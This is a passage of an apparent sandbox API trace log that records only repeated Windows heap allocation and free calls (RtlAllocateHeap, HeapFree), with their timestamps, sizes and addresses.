hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.737] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.737] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.738] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.738] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.739] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.739] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.740] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.741] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.741] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.742] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, 